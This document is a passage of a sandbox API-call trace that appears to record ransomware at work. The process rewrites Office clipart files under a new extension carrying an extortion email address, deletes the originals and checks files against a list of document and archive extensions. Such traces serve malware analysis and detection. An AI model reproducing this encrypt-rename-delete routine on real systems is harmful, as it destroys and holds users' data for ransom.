[0296.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0296.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.650] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.650] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.650] GetLastError () returned 0x0 [0296.650] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xa8c, lpOverlapped=0x0) returned 1 [0296.768] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xa90, lpOverlapped=0x0) returned 1 [0296.770] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.770] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.770] SetEndOfFile (hFile=0x10c0) returned 1 [0296.770] CloseHandle (hObject=0x10c0) returned 1 [0296.770] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.770] SetEndOfFile (hFile=0x109c) returned 1 [0296.771] CloseHandle (hObject=0x109c) returned 1 [0296.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0296.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.771] lstrlenW (lpString=".doc") returned 4 [0296.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString=".docx") returned 5 [0296.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.772] lstrlenW (lpString=".pdf") returned 4 [0296.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString=".xls") returned 4 [0296.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.772] lstrlenW (lpString=".xlsx") returned 5 [0296.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.772] lstrlenW (lpString=".ppt") returned 4 [0296.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString=".zip") returned 4 [0296.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.772] lstrlenW (lpString=".rar") returned 4 [0296.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString=".bz2") returned 4 [0296.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString=".7z") returned 3 [0296.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString=".dbf") returned 4 [0296.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString=".1cd") returned 4 [0296.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString=".jpg") returned 4 [0296.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.772] lstrlenW (lpString=".doc") returned 4 [0296.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.772] lstrlenW (lpString=".docx") returned 5 [0296.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.772] lstrlenW (lpString=".pdf") returned 4 [0296.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString=".xls") returned 4 [0296.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.773] lstrlenW (lpString=".xlsx") returned 5 [0296.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.773] lstrlenW (lpString=".ppt") returned 4 [0296.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.773] lstrlenW (lpString=".zip") returned 4 [0296.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.773] lstrlenW (lpString=".rar") returned 4 [0296.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString=".bz2") returned 4 [0296.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString=".7z") returned 3 [0296.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.773] lstrlenW (lpString=".dbf") returned 4 [0296.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.773] lstrlenW (lpString=".1cd") returned 4 [0296.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0296.773] lstrlenW (lpString=".jpg") returned 4 [0296.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.773] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.773] lstrlenW (lpString="EN00006_.WMF") returned 12 [0296.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.774] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=13936) returned 1 [0296.774] CloseHandle (hObject=0x109c) returned 1 [0296.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0296.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.774] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.774] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.775] GetLastError () returned 0x0 [0296.775] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x3670, lpOverlapped=0x0) returned 1 [0296.802] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x3680, lpOverlapped=0x0) returned 1 [0296.803] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.803] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.803] SetEndOfFile (hFile=0x10c0) returned 1 [0296.803] CloseHandle (hObject=0x10c0) returned 1 [0296.803] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.803] SetEndOfFile (hFile=0x109c) returned 1 [0296.804] CloseHandle (hObject=0x109c) returned 1 [0296.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0296.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.804] lstrlenW (lpString=".doc") returned 4 [0296.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.804] lstrlenW (lpString=".docx") returned 5 [0296.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.805] lstrlenW (lpString=".pdf") returned 4 [0296.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.805] lstrlenW (lpString=".xls") returned 4 [0296.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.805] lstrlenW (lpString=".xlsx") returned 5 [0296.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.805] lstrlenW (lpString=".ppt") returned 4 [0296.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.805] lstrlenW (lpString=".zip") returned 4 [0296.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.805] lstrlenW (lpString=".rar") returned 4 [0296.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.805] lstrlenW (lpString=".bz2") returned 4 [0296.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString=".7z") returned 3 [0296.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString=".dbf") returned 4 [0296.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString=".1cd") returned 4 [0296.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString=".jpg") returned 4 [0296.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString=".doc") returned 4 [0296.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString=".docx") returned 5 [0296.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.806] lstrlenW (lpString=".pdf") returned 4 [0296.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString=".xls") returned 4 [0296.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.806] lstrlenW (lpString=".xlsx") returned 5 [0296.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.806] lstrlenW (lpString=".ppt") returned 4 [0296.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.806] lstrlenW (lpString=".zip") returned 4 [0296.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.806] lstrlenW (lpString=".rar") returned 4 [0296.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString=".bz2") returned 4 [0296.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.806] lstrlenW (lpString=".7z") returned 3 [0296.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.807] lstrlenW (lpString=".dbf") returned 4 [0296.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.807] lstrlenW (lpString=".1cd") returned 4 [0296.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0296.807] lstrlenW (lpString=".jpg") returned 4 [0296.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.807] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.807] lstrlenW (lpString="EN00319_.WMF") returned 12 [0296.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.807] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2280) returned 1 [0296.807] CloseHandle (hObject=0x109c) returned 1 [0296.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0296.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.808] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.808] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.808] GetLastError () returned 0x0 [0296.808] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x8e8, lpOverlapped=0x0) returned 1 [0297.462] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x8f0, lpOverlapped=0x0) returned 1 [0297.463] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.463] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.464] SetEndOfFile (hFile=0x10c0) returned 1 [0297.464] CloseHandle (hObject=0x10c0) returned 1 [0297.464] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.464] SetEndOfFile (hFile=0x109c) returned 1 [0297.465] CloseHandle (hObject=0x109c) returned 1 [0297.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0297.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.465] lstrlenW (lpString=".doc") returned 4 [0297.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.465] lstrlenW (lpString=".docx") returned 5 [0297.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.466] lstrlenW (lpString=".pdf") returned 4 [0297.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString=".xls") returned 4 [0297.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.466] lstrlenW (lpString=".xlsx") returned 5 [0297.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.466] lstrlenW (lpString=".ppt") returned 4 [0297.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString=".zip") returned 4 [0297.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.466] lstrlenW (lpString=".rar") returned 4 [0297.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString=".bz2") returned 4 [0297.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString=".7z") returned 3 [0297.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString=".dbf") returned 4 [0297.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString=".1cd") returned 4 [0297.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString=".jpg") returned 4 [0297.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.466] lstrlenW (lpString=".doc") returned 4 [0297.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString=".docx") returned 5 [0297.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.467] lstrlenW (lpString=".pdf") returned 4 [0297.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString=".xls") returned 4 [0297.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.467] lstrlenW (lpString=".xlsx") returned 5 [0297.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.467] lstrlenW (lpString=".ppt") returned 4 [0297.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.467] lstrlenW (lpString=".zip") returned 4 [0297.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.467] lstrlenW (lpString=".rar") returned 4 [0297.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString=".bz2") returned 4 [0297.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString=".7z") returned 3 [0297.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.467] lstrlenW (lpString=".dbf") returned 4 [0297.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.467] lstrlenW (lpString=".1cd") returned 4 [0297.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0297.467] lstrlenW (lpString=".jpg") returned 4 [0297.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.468] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.468] lstrlenW (lpString="EN00397_.WMF") returned 12 [0297.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.468] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=17308) returned 1 [0297.468] CloseHandle (hObject=0x109c) returned 1 [0297.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0297.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 